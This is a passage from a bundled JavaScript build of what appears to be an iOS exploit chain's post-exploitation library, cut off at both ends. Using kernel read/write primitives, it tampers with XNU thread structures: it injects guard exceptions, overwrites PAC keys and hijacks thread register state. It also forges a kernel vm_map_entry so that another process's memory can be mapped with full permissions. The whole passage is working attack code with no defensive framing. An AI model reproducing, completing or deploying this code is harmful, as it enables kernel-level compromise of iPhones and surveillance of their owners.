/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js");
const TAG = "TASKROP"
class TaskRop
{
static init()
{
let selfTaskAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].getSelfTaskAddr();
if (!selfTaskAddr)
{
console.log(TAG,`Unable to find self task address`);
return;
}
console.log(TAG,`selfTaskAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(selfTaskAddr)}`);
_Task__WEBPACK_IMPORTED_MODULE_2__["default"].init(selfTaskAddr);
}
}
/***/ }),
/***/ "./src/libs/TaskRop/Thread.js":
/*!************************************!*\
!*** ./src/libs/TaskRop/Thread.js ***!
\************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ Thread)
/* harmony export */ });
/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js");
/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js");
/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js");
/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js");
const AST_GUARD = 0x1000;
const TAG = "THREAD";
class Thread
{
static getTro(thread)
{
let tro = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().tro);
// Ignore threads with invalid tro address.
if (!(tro & 0xf000000000000000n))
{
//console.log(TAG,`Got invalid tro of thread:${Utils.hex(thread)} and value:${Utils.hex(tro)}`);
return 0n;
}
return tro;
}
static getCtid(thread)
{
let ctid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ctid);
return ctid;
}
static getTask(thread)
{
let tro = this.getTro(thread);
// Ignore threads with invalid tro address.
if (!(tro & 0xf000000000000000n) || tro === 0n)
return 0n;
let task = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(tro + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().troTask);
return task;
}
static next(thread)
{
if (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].strip(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().taskThreads) < 0xffffffd000000000n)
return 0;
let next = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().taskThreads);
if (next < 0xffffffd000000000n)
return 0;
return next;
}
static setMutex(thread,ctid)
{
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().mutexData, ctid);
}
static getMutex(thread)
{
let mutex = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().mutexData);
return mutex;
}
static getStack(thread)
{
let stackptr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().kstackptr);
return stackptr;
}
static injectGuardException(thread,code)
{
if(!this.getTro(thread))
{
console.log(TAG,`got invalid tro of thread, not injecting exception since thread is dead`);
return false;
}
// 18.4+
if (xnuVersion.major == 24 && xnuVersion.minor >= 4) {
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0x17n);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode + 0x8n, code);
}
else {
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, code);
}
let ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast);
ast |= AST_GUARD;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast, ast);
return true;
}
static clearGuardException(thread)
{
if(!this.getTro(thread))
{
console.log(TAG,`got invalid tro of thread, still clearing exception to avoid crash`);
}
let ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast);
ast &= ~AST_GUARD | 0x80000000;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ast, ast);
// 18.4+
if (xnuVersion.major == 24 && xnuVersion.minor >= 4) {
if (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode) == 0x17n) {
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0n);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode + 0x8n, 0n);
}
}
else {
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().guardExcCode, 0n);
}
}
static getOptions(thread)
{
let options = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().options);
return options;
}
static setOptions(thread, options)
{
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().options, options);
}
static getRopPid(thread)
{
let ropPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ropPid);
return ropPid;
}
static getJopPid(thread)
{
let jopPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().jopPid);
return jopPid;
}
static setPACKeys(thread, keyA, keyB)
{
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ropPid, keyA);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().jopPid, keyB);
}
static getState(machThread)
{
let statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem;
let stateCountPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem + 0x200n;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].write32(stateCountPtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_COUNT);
let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].callSymbol("thread_get_state",
machThread,
libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64,
statePtr,
stateCountPtr);
if (kr != 0) {
console.log(TAG, "Unable to read thread state");
return false;
}
let stateBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].read(statePtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_SIZE);
let state = new _ThreadState__WEBPACK_IMPORTED_MODULE_2__["default"](stateBuff);
return state;
}
static setState(machThread, threadAddr, state)
{
let options = 0;
if (threadAddr) {
options = Thread.getOptions(threadAddr);
options |= 0x8000;
Thread.setOptions(threadAddr, options);
}
let statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].write(statePtr, state.buffer);
//console.log(TAG,`thread:${Utils.hex(thread)}`);
let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].callSymbol("thread_set_state",
machThread,
libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64,
statePtr,
libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_COUNT);
if (kr != 0)
{
console.log(TAG,`Failed thread_set_state with error:${kr}`);
return false;
}
if (threadAddr) {
options &= ~0x8000;
Thread.setOptions(threadAddr, options);
}
return true;
}
static resume(machThread)
{
let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].callSymbol("thread_resume", machThread);
if (kr != 0) {
console.log(TAG, "Unable to resume suspended thread");
return false;
}
return true;
}
}
/***/ }),
/***/ "./src/libs/TaskRop/ThreadState.js":
/*!*****************************************!*\
!*** ./src/libs/TaskRop/ThreadState.js ***!
\*****************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ ThreadState)
/* harmony export */ });
/* harmony import */ var _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./RegistersStruct */ "./src/libs/TaskRop/RegistersStruct.js");
class ThreadState
{
#buffer;
#dataView;
constructor(buffer, offset = 0)
{
this.#buffer = buffer;
this.#dataView = new DataView(buffer,offset);
this.registers = new _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__["default"](buffer,offset);
}
get buffer()
{
return this.#buffer;
}
get opaque_fp()
{
return this.#dataView.getBigUint64(232,true);
}
set opaque_fp(value)
{
this.#dataView.setBigUint64(232,value,true);
}
get opaque_lr()
{
return this.#dataView.getBigUint64(240,true);
}
set opaque_lr(value)
{
this.#dataView.setBigUint64(240,value,true);
}
get opaque_sp()
{
return this.#dataView.getBigUint64(248,true);
}
set opaque_sp(value)
{
this.#dataView.setBigUint64(248,value,true);
}
get opaque_pc()
{
return this.#dataView.getBigUint64(256,true);
}
set opaque_pc(value)
{
this.#dataView.setBigUint64(256,value,true);
}
get cpsr()
{
return this.#dataView.getUint32(264,true);
}
set cpsr(value)
{
this.#dataView.setUint32(264,value,true);
}
get opaque_flags()
{
return this.#dataView.getUint32(268,true);
}
set opaque_flags(value)
{
this.#dataView.setUint32(268,value,true);
}
}
/***/ }),
/***/ "./src/libs/TaskRop/VM.js":
/*!********************************!*\
!*** ./src/libs/TaskRop/VM.js ***!
\********************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ VM)
/* harmony export */ });
/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js");
/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js");
/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js");
/* harmony import */ var _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./VmMapEntry */ "./src/libs/TaskRop/VmMapEntry.js");
/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js");
/* harmony import */ var _VMObject__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./VMObject */ "./src/libs/TaskRop/VMObject.js");
/* harmony import */ var _VMShmem__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./VMShmem */ "./src/libs/TaskRop/VMShmem.js");
/* harmony import */ var _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ./VmPackingParams */ "./src/libs/TaskRop/VmPackingParams.js");
const TAG = "VM";
const VME_ALIAS_BITS = 12n;
const VME_OFFSET_BITS = (64n - VME_ALIAS_BITS);
const VME_OFFSET_SHIFT = VME_ALIAS_BITS;
const VME_SUBMAP_SHIFT = 2n;
const VME_SUBMAP_BITS = (8n * 8n - VME_SUBMAP_SHIFT);
const VM_KERNEL_POINTER_SIGNIFICANT_BITS = 38;
const VM_MAX_KERNEL_ADDRESS = 0xfffffffbffffffffn;
const VM_PAGE_PACKED_PTR_BITS = 31;
const VM_PAGE_PACKED_PTR_SHIFT = 6;
const SIZE_VMOBJECT = 0x20;
const VM_LINK_SIZE = 0x20;
const VM_MAP_ENTRY_SIZE = 0x50;
const VMShmem_SIZE = 0x18;
const VMPackingSize = 0x10;
const VM_FLAGS_ANYWHERE = 0x00000001n;
class VM
{
static VM_PROT_READ = 1n;
static VM_PROT_WRITE = 2n;
static VM_PROT_EXECUTE = 4n;
static VM_PROT_ALL = (this.VM_PROT_READ|this.VM_PROT_WRITE|this.VM_PROT_EXECUTE);
static VM_PROT_IS_MASK = 0x40n;
static VM_INHERIT_NONE = 2n;
static #Tib(x)
{
return ((0n + (x)) << 40n);
}
static #Gib(x)
{
return ((0n + (x)) << 30n);
}
static #VM_MIN_KERNEL_ADDRESS()
{
return ((0n - this.#Gib(144n)));
}
static #VM_MIN_KERNEL_AND_KEXT_ADDRESS()
{
return this.#VM_MIN_KERNEL_ADDRESS();
}
static #VM_PAGE_PACKED_PTR_BASE()
{
return this.#VM_MIN_KERNEL_AND_KEXT_ADDRESS();
}
static #VM_PACKING_IS_BASE_RELATIVE(packed)
{
return ((packed.vmpp_bits + packed.vmpp_shift) <= VM_KERNEL_POINTER_SIGNIFICANT_BITS);
}
static #VM_PACKING_PARAMS(ns)
{
ns.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(ns);
return ns;
}
static #VM_UNPACK_POINTER(packed, ns)
{
return this.#vm_unpack_pointer(packed,this.#VM_PACKING_PARAMS(ns));
}
static #VM_PACK_POINTER(ptr, ns)
{
return this.#vm_pack_pointer(ptr, this.#VM_PACKING_PARAMS(ns));
}
static #bigUint64ToIntptr(bigUint64) {
// Create a BigInt mask for the lower 64 bits
const lower64BitsMask = BigInt("0xFFFFFFFFFFFFFFFF");
// Apply the mask to ensure the value is within the range of 64 bits
bigUint64 = bigUint64 & lower64BitsMask;
// Check if the value is greater than the maximum signed 64-bit integer
if (bigUint64 > BigInt("0x7FFFFFFFFFFFFFFF")) {
// Convert to signed by subtracting 2^64
return Number(bigUint64 - BigInt("0x10000000000000000"));
} else {
// Directly convert to Number
return Number(bigUint64);
}
}
static #vm_unpack_pointer(packed, params)
{
if (!params.vmpp_base_relative)
{
//console.log(TAG,`In first if unpack`);
//let addr = this.#bigUint64ToIntptr(BigInt(packed));
let addr = packed;
addr <<= 64 - params.vmpp_bits;
addr >>= 64 - params.vmpp_bits - params.vmpp_shift;
return addr;
}
if (packed)
{
//console.log(TAG,`In second if unpack`);
return (BigInt(packed) << BigInt(params.vmpp_shift)) + BigInt(params.vmpp_base);
}
return 0n;
}
static #vm_pack_pointer(ptr,params)
{
if (!params.vmpp_base_relative)
{
//console.log(TAG,`In first if pack`);
return ptr >> params.vmpp_shift;
}
if (ptr)
{
//console.log(TAG,`In second if pack`);
return (BigInt(ptr) - BigInt(params.vmpp_base)) >> BigInt(params.vmpp_shift);
}
return 0n;
}
static #VME_OFFSET(entry)
{
return entry.vme_offset << 12n;
}
static #trunc_page_kernel(x)
{
//return ((x) & (~vm_kernel_page_mask));
return ((x) & (~libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].PAGE_MASK));
}
static #round_page_kernel(x)
{
//return this.#trunc_page_kernel((x) + vm_kernel_page_mask);
return this.#trunc_page_kernel((x) + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].PAGE_MASK);
}
static #vm_getEntry(map,address)
{
let rbhRoot = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(map + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().hdrRBHRoot);
//console.log(TAG,`Get entry:${Utils.hex(address)}`);
//console.log(TAG,`rbh root:${Utils.hex(rbhRoot)}`);
let rbEntry = rbhRoot;
let foundEntry = 0n;
while (rbEntry != 0n)
{
let curPtr = rbEntry - 0x20n; // container_of(rb_entry, struct vm_map_entry, store)
//uint64_t prev = 0;
let links = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read(curPtr, links, VM_LINK_SIZE);
let linksBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(links,VM_LINK_SIZE);
let linksArray = new Uint8Array(linksBuffer);
links = new _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__.vm_map_links(linksArray);
//console.log(TAG,`[${Utils.hex(links.start)} - ${Utils.hex(links.end)}]:${Utils.hex(curPtr)}`);
if (address >= links.start)
{
if (address < links.end)
{
foundEntry = curPtr;
//console.log(TAG,`Found:${Utils.hex(curPtr)}`);
break;
}
let rbeRight = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(rbEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().rbeRight);
rbEntry = rbeRight;
//prev = curPtr;
}
else
{
let rbeLeft = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(rbEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().rbeLeft);
rbEntry = rbeLeft;
}
}
return foundEntry;
}
static mapRemotePage(vmMap, address)
{
//console.log(TAG, `Map remote address: ${Utils.hex(address)}`);
let vmObject = VM.getObject(vmMap, address);
//LOG("vmObject: %llx (objectOffset=%llx, entryOffset=%llx)",
// vmObject.address,
// vmObject.objectOffset,
// vmObject.entryOffset);
if (!vmObject.address)
return null;
let shmem = VM.createShmemWithVmObject(vmObject);
//LOG("shmem: port=%x, address=%llx", shmem.port, shmem.remoteAddress);
return shmem;
}
static getObject(map, address)
{
let VMObjectBuff = new ArrayBuffer(SIZE_VMOBJECT);
let vmObject = new _VMObject__WEBPACK_IMPORTED_MODULE_5__["default"](VMObjectBuff);
let entryAddr = this.#vm_getEntry(map, address);
if (!entryAddr)
return vmObject;
let entryBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].readBuff(entryAddr, VM_MAP_ENTRY_SIZE);
let entryUintArr = new Uint8Array(entryBuff);
let entry = new _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__.vm_map_entry(entryUintArr);
//console.log(TAG, `entry: addr=${Utils.hex(entryAddr)}, is_sub_map=${entry.is_sub_map}, vme_object_packed=${Utils.hex(entry.vme_object)}`);
let paramsBuff = new ArrayBuffer(VMPackingSize);
let params = new _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__["default"](paramsBuff);
params.vmpp_base = this.#VM_PAGE_PACKED_PTR_BASE();
params.vmpp_bits = VM_PAGE_PACKED_PTR_BITS;
params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT;
params.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(params);
let vmeObject = this.#VM_UNPACK_POINTER(entry.vme_object, params);
//console.log(TAG, `vme object: ${Utils.hex(vmeObject)}`);
let objectOffs = this.#VME_OFFSET(entry);
let entryOffs = address - entry.links.start + objectOffs;
//console.log(TAG, `object offset: ${Utils.hex(objectOffs)}`);
//console.log(TAG, `entry offset: ${Utils.hex(entryOffs)}`);
vmObject.vmAddress = address;
vmObject.address = BigInt(vmeObject);
vmObject.objectOffset = BigInt(objectOffs);
vmObject.entryOffset = BigInt(entryOffs);
return vmObject;
}
static createShmemWithVmObject(object)
{
//console.log(TAG,`Inside createShmem with addr to read:${Utils.hex(object.address)}`);
let shmemBuff = new ArrayBuffer(VMShmem_SIZE);
let shmem = new _VMShmem__WEBPACK_IMPORTED_MODULE_6__["default"](shmemBuff);
let size = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(object.address + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().vouSize);
size = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].round_page(size);
//console.log(TAG,`vm object size:${Utils.hex(size)}`);
let localAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
let roundedSize = this.#round_page_kernel(size);
let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_vm_allocate",0x203n, localAddr, roundedSize, VM_FLAGS_ANYWHERE);
if (ret != 0)
{
console.log(TAG,`mach_vm_allocate():${ret}`);
return shmem;
}
localAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(localAddr);
//console.log(TAG,`mach_vm_allocate:${Utils.hex(roundedSize)} localAddr:${Utils.hex(localAddr)}`);
/*
let memory_object = new_bigint();
ret = Native.callSymbol("mach_make_memory_entry_64",
0x203n,
get_bigint_addr(roundedSize),
localAddr,
this.VM_PROT_READ | this.VM_PROT_WRITE,
get_bigint_addr(memory_object),
0n);
let resBuff = Native.read(get_bigint_addr(memory_object),Utils.UINT32_SIZE);
let resView = new DataView(resBuff);
let port = resView.getUint32(0,true);
*/
let memory_object = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x500n;
let roundedSizePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x1000n;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write64(roundedSizePtr, roundedSize);
ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_make_memory_entry_64",
0x203n,
roundedSizePtr,
localAddr,
this.VM_PROT_READ | this.VM_PROT_WRITE,
memory_object,
0n);
let port = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read32(memory_object);
//let port = Native.callSymbol("wrapper_mach_make_memory_entry_64",roundedSize,localAddr);
//console.log(TAG,`mach_make_memory_entry_64():${Utils.hex(port)}`);
let shmemNamedEntry = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getPortKObject(BigInt(port));
//console.log(TAG,`shmem named entry:${Utils.hex(shmemNamedEntry)}`);
let shmemVMCopyAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(shmemNamedEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().backingCopy);
//console.log(TAG,`shmem named entry VM copy addr:${Utils.hex(shmemVMCopyAddr)}`);
let nextAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(shmemVMCopyAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().next);
//console.log(TAG,`next addr:${Utils.hex(nextAddr)}`);
let entryBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].readBuff(nextAddr, VM_MAP_ENTRY_SIZE);
let entryArr = new Uint8Array(entryBuff);
let entry = new _VmMapEntry__WEBPACK_IMPORTED_MODULE_3__.vm_map_entry(entryArr);
//console.log(TAG,`entry: vme_kernel_object=${Utils.hex(entry.vme_kernel_object)}, is_sub_map=${Utils.hex(entry.is_sub_map)}`);
//console.log(TAG,`entry: is_sub_map=${Utils.hex(entry.is_sub_map)}`);
if (entry.vme_kernel_object || entry.is_sub_map || false) // vme_kernel_object struct is not implemented
{
console.log(TAG,`Entry cannot be a submap`);
return shmem;
}
let paramsBuff = new ArrayBuffer(VMPackingSize);
let params = new _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__["default"](paramsBuff);
params.vmpp_base = this.#VM_PAGE_PACKED_PTR_BASE();
params.vmpp_bits = VM_PAGE_PACKED_PTR_BITS;
params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT;
params.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(params);
let packedPointer = this.#VM_PACK_POINTER(object.address, params);
//console.log(TAG,`packedPointer:${Utils.hex(packedPointer)}`);
let refCount = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(object.address + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().refCount);
//console.log(TAG,`vm object ref count:${Utils.hex(refCount)}`);
refCount++;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].write32(object.address + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().refCount, refCount);
entry.vme_object = Number(packedPointer);
entry.vme_offset = object.objectOffset;
//write(nextAddr, &entry, sizeof(entry));
// write dedicate write in order to avoid zone panic with bigger 0x20 elements size
let entryResWrite = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(entryResWrite,entryArr.buffer);
//Utils.printArrayBufferInChunks(entryArr.buffer);
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].writeZoneElement(nextAddr, entryResWrite, VM_MAP_ENTRY_SIZE);
//console.log(TAG,`After write zone element`);
//let mappedAddr = Native.callSymbol("malloc",roundedSize * 4n);
//let mappedAddr = new_bigint();
let mappedAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write64(mappedAddr, 0x1337n);
//let mach_vm_map_func = Native.dlsym("mach_vm_map");
//console.log(TAG,`mach_vm_map:${Utils.hex(mach_vm_map_func)} with object.entryOffset:${Utils.hex(object.entryOffset)}`);
//ret = fcall(mach_vm_map_func,0x203n,get_bigint_addr(mappedAddr),0x4000n,0n,1n,BigInt(port),BigInt(object.entryOffset),0n,(this.VM_PROT_ALL | this.VM_PROT_IS_MASK) | ((this.VM_PROT_ALL | this.VM_PROT_IS_MASK) << 32n),this.VM_INHERIT_NONE);
ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_vm_map",0x203n,mappedAddr,0x4000n,0n,1n,BigInt(port),BigInt(object.entryOffset),0n,(this.VM_PROT_ALL | this.VM_PROT_IS_MASK) | ((this.VM_PROT_ALL | this.VM_PROT_IS_MASK) << 32n),this.VM_INHERIT_NONE);
//console.log(TAG,`ret:${ret}`);
mappedAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(mappedAddr);
//console.log(TAG,`mach_vm_map():${Utils.hex(ret)}, mappedAddr=${Utils.hex(mappedAddr)}`);
if(ret != 0)
{
console.log(TAG,'failed on mach_vm_map');
mappedAddr = 0n;
}
ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_vm_deallocate", 0x203, localAddr, roundedSize);
if (ret != 0) {
console.log(TAG, "mach_vm_deallocate: " + ret);
}
//let mappedAddr = Native.callSymbol("wrapper_mach_vm_map",port,object.entryOffset);
//console.log(TAG,`mappedAddr:${Utils.hex(mappedAddr)}`);
shmem.port = BigInt(port);
shmem.remoteAddress = object.vmAddress;
shmem.localAddress = mappedAddr;
return shmem;
}
static mocker(addrUnpack,addrPack)
{
let paramsBuff = new ArrayBuffer(VMPackingSize);
let params = new _VmPackingParams__WEBPACK_IMPORTED_MODULE_7__["default"](paramsBuff);
params.vmpp_base = this.#VM_PAGE_PACKED_PTR_BASE();
params.vmpp_bits = VM_PAGE_PACKED_PTR_BITS;
params.vmpp_shift = VM_PAGE_PACKED_PTR_SHIFT;
params.vmpp_base_relative = this.#VM_PACKING_IS_BASE_RELATIVE(params);
let vmeObject = this.#VM_UNPACK_POINTER(addrUnpack, params);
//console.log(TAG,`vmeObjectUnpack:${Utils.hex(vmeObject)}`);
vmeObject = this.#VM_PACK_POINTER(addrPack,params);
//console.log(TAG,`vmeObjectpack:${Utils.hex(vmeObject)}`);
}
}
/***/ }),
/***/ "./src/libs/TaskRop/VMObject.js":
/*!**************************************!*\
!*** ./src/libs/TaskRop/VMObject.js ***!
\**************************************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ "default": () => (/* binding */ VMObject)
/* harmony export */ });
class VMObject
{
#buffer;
#dataView;
constructor(buffer)
{
this.#buffer = buffer;
this.#dataView = new DataView(this.#buffer);
}
get vmAddress()
{
